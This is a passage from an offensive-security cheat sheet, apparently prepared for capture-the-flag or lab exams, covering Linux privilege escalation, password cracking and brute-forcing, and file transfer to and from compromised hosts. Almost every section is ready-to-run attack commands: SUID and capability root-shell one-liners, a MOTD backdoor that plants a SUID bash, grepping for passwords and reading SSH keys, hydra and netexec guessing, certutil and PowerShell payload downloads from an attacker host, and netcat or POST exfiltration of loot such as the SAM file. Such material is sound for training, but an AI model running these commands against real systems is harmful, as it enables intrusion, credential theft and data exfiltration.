# sudo ALL / (ALL:ALL):   sudo su -   or   sudo /bin/bash
```

§3 SUID / capabilities

```
find / -perm -4000 -type f 2>/dev/null      # cross-ref each against GTFOBins "SUID"
# examples:
/usr/bin/find . -exec /bin/sh -p \; -quit
cp /bin/bash /tmp/b; /usr/bin/<suid-binary> ... # bespoke per binary
```

```
# capabilities (cap_setuid = instant root — Presidential/DomDom):
getcap -r / 2>/dev/null
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'   # if python has
cap_setuid+ep
tar -cvf /tmp/x.tar /root/.ssh/id_rsa       # if tar has cap_dac_read_search (read-any-file)
```

§4 Writable MOTD / profile scripts (Quodrona)

```
ls -la /etc/update-motd.d/              # writable? runs as root on next SSH login
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /etc/update-motd.d/00-header
# trigger: ssh in again (new session) -> /tmp/rootbash -p
ls -la /etc/profile.d/ ~/.bashrc        # same idea if a root process sources them
```

§5 Kernel / char-device last resort (STRATUS — only if nothing else)

```
uname -r                    # match to a public local-root CVE:
#   PwnKit (pkexec)  CVE-2021-4034   — nearly universal, self-contained C exploit
#   DirtyPipe        CVE-2022-0847   — kernel 5.8-5.16
#   Baron Samedit    CVE-2021-3156   — sudo < 1.9.5p2
#   DirtyCow         CVE-2016-5195   — very old kernels
ls -l /usr/bin/pkexec        # SUID present? PwnKit candidate
# compile & run the local PoC (offline copy in payloads/ if staged)
```

§6 Other quick wins

```
# credentials lying around:
grep -rioE '(password|passwd|pass|secret|api_key)[=:].*' /etc /opt /home /var/www 2>/dev/null
cat ~/.bash_history /home/*/.bash_history 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
# dangerous group membership:
id    # docker -> docker run -v /:/mnt --rm -it alpine chroot /mnt sh
      # lxd/lxc, disk -> debugfs /dev/sda1, adm -> read logs
# hidden/loopback services (pivot):
ss -tlnp
# background processes & unseen cron (pspy — stage in payloads/):
./pspy64
# one-shot: linpeas (stage in payloads/):
./linpeas.sh | tee loot/linpeas.txt
```

Find & read the flags (as root)

```
/tmp/rootbash -p            # or your root shell
cat /root/flag_hard.txt
find / -name '*flag*' -type f 2>/dev/null
grep -rl flag_ /home /root 2>/dev/null
```

Gotchas

- Run the **first burst** before anything else — `sudo -l` + SUID + `getcap` + cron answer 90% of boxes.
- Writable file that root executes (cron / MOTD / service) = the Linux signature move. Look there.

- Potato world is Windows-only; on Linux it's files-root-runs, caps, sudo, kernel — in that order.
- Keep it gentle — no mass exploit spraying. Match the ONE kernel CVE to `uname -r`, don't shotgun.

06 — Password Attacks (gentle, top-250, short-leash)

Rule: passwords are in the **top ~250 of rockyou** or **not crackable**. One user, 2–3 min max. If it doesn't fall fast, it's **not the intended path** — go find another vector. No full-rockyou sprays.

Step 1 — identify the hash

```
hashid '<hash>'                    # or:  hash-identifier
```

Looks like	Type	hashcat `-m`	john format
32 hex	MD5	0	raw-md5
40 hex	SHA1	100	raw-sha1
64 hex	SHA256	1400	raw-sha256
`$2a$` / `$2b$`	bcrypt	3200	bcrypt
`aad3b...:<32hex>`	NTLM	1000	nt
`$6$...`	sha512crypt (Linux shadow)	1800	sha512crypt
`$krb5tgs$`	Kerberoast	13100	krb5tgs

Step 2 — crack offline (preferred: silent, no target noise)

```
# hashcat (GPU):
hashcat -m <mode> -a 0 hash.txt wordlists/rockyou-top250.txt
hashcat -m <mode> -a 0 hash.txt wordlists/rockyou-top250.txt -r
/usr/share/hashcat/rules/best64.rule
# john:
john --format=<fmt> --wordlist=wordlists/rockyou-top250.txt hash.txt
john --show --format=<fmt> hash.txt
# show result:
hashcat -m <mode> hash.txt --show
```

Non-GenAI web is allowed → **crackstation.net** for unsalted MD5/SHA (instant, offline-brain-free).

Step 3 — online guessing (only if no hash; stay gentle `-t 1`)

```
# SSH:
hydra -l <user> -P wordlists/rockyou-top250.txt ssh://$RHOST -t 1 -W 1
# RDP (Tut10 Charlice – season/pattern passwords like Summer2026!):
hydra -l <user> -P wordlists/season-pattern.txt rdp://$RHOST -t 1
# FTP:
hydra -l <user> -P wordlists/rockyou-top250.txt ftp://$RHOST -t 1 -W 1
# HTTP POST login form:
hydra -l <user> -P wordlists/rockyou-top250.txt $RHOST http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid" -t 1 -W 1
# SMB / WinRM (netexec, one at a time):
nxc smb $RHOST   -u <user> -p wordlists/rockyou-top250.txt
nxc winrm $RHOST -u <user> -p wordlists/rockyou-top250.txt
# medusa alternative:
medusa -h $RHOST -u <user> -P wordlists/rockyou-top250.txt -M ssh -t 1
```

`-t 1` = one thread (gentle), `-W 1` = wait between tries. One username at a time.

Pattern / season passwords (very common on these boxes)

Before rockyou, try the obvious human patterns — build `wordlists/season-pattern.txt`:

```
Summer2026!  Winter2026!  Spring2026!  Autumn2026!  Autumn2025!  Summer2025!
Password1!   Welcome1!    <Company>2026!   <Hostname>123!   Changeme1!
```

Also try: username = password, blank, `admin/admin`, product defaults, names from SMB/web notes.

Found creds → where to use them

```
RDP:  xfreerdp /u:<u> /p:'<pass>' /v:$RHOST /cert:ignore +clipboard
WinRM: evil-winrm -i $RHOST -u <u> -p '<pass>'
SMB:  smbclient //$RHOST/<share> -U <u>%'<pass>'
SSH:  ssh <u>@$RHOST
MSSQL: sqsh -S $RHOST -U <u> -P '<pass>'      (-> xp_cmdshell, see 04 §5)
```

Gotchas

- Offline cracking > online guessing — if you have a hash, crack it silently, don't hammer the box.
- **2–3 minutes, one user, top-250.** No result ⇒ wrong path. Don't get stuck here (time sink #1).
- Reuse creds everywhere (password reuse is the norm): one share note → RDP → WinRM → MSSQL.
- Build the trimmed wordlists with `setup.sh` (makes `rockyou-top250.txt` + `season-pattern.txt`).

07 — File Transfer (Kali ↔ target)

Serve from Kali, pull from target. Keep a web server running in your payloads dir.

Serve files from Kali

```
cd payloads/ && python3 -m http.server 8081          # http://LHOST:8081/<file>
# alternatives:
python3 -m uploadserver 8081                        # also accepts POST uploads (exfil)
impacket-smbserver share $(pwd) -smb2support         # \\LHOST\share\  (SMB pull, no creds)
impacket-smbserver share $(pwd) -smb2support -user u -password p   # authed if target needs it
```

Pull TO a Windows target

```
REM certutil LOLbin (Tut10 Charlice — works on locked-down boxes):
certutil.exe -urlcache -f http://LHOST:8081/SigmaPotato.exe C:\Windows\Temp\sp.exe

REM PowerShell:
powershell -c "Invoke-WebRequest http://LHOST:8081/nc.exe -OutFile C:\Windows\Temp\nc.exe"
powershell -c "(New-Object
Net.WebClient).DownloadFile('http://LHOST:8081/x.exe','C:\Windows\Temp\x.exe')"

REM SMB (from impacket-smbserver):
copy \\LHOST\share\winPEASx64.exe C:\Windows\Temp\
```

Good target dirs (writable, usually AV-lenient): `C:\Windows\Temp\`, `C:\Users\Public\`, `%TEMP%`.

Pull TO a Linux target

```
wget http://LHOST:8081/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
curl http://LHOST:8081/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64
# no wget/curl? use /dev/tcp or scp:
exec 3<>/dev/tcp/LHOST/8081; echo -e "GET /f HTTP/1.0\n" >&3; cat <&3 > /tmp/f
scp file user@LHOST:/path          # if you have SSH the other way
```

Exfil FROM target → Kali (flags, loot, hashes)

```
# Kali side (receiver):
nc -lvnp 6666 > loot/exfil.dat                # then on target:  nc LHOST 6666 < file
# or run an upload server (above) and POST:
```

```
# Windows target -> POST a file to Kali uploadserver:
powershell -c "Invoke-WebRequest -Uri http://LHOST:8081/upload -Method POST -InFile C:\loot\sam"
```

```
REM quick: just read the flag and copy its text into your report (no transfer needed)
type C:\Users\Administrator\Desktop\flag_hard.txt
```

Base64 clipboard trick (tiny files, no network dir)

```
# Kali: encode
base64 -w0 payloads/sp.exe
```

```
# target: decode (paste the blob)
[IO.File]::WriteAllBytes("C:\Windows\Temp\sp.exe",[Convert]::FromBase64String("<BLOB>"))
```

```
# reverse (read a file off target): on target  base64 -w0 /root/flag_hard.txt  -> paste to Kali:
echo '<BLOB>' | base64 -d
```

Gotchas

- Standard Kali serve port here = **8081** (keep 4444/5555/6666 for shells only).
- `certutil -urlcache -f` is the money move on hardened Windows (no PowerShell needed).
- Drop payloads in `C:\Windows\Temp\` — writable by low-priv users, survives most restrictions.
- Don't forget to `chmod +x` Linux tools after pulling them.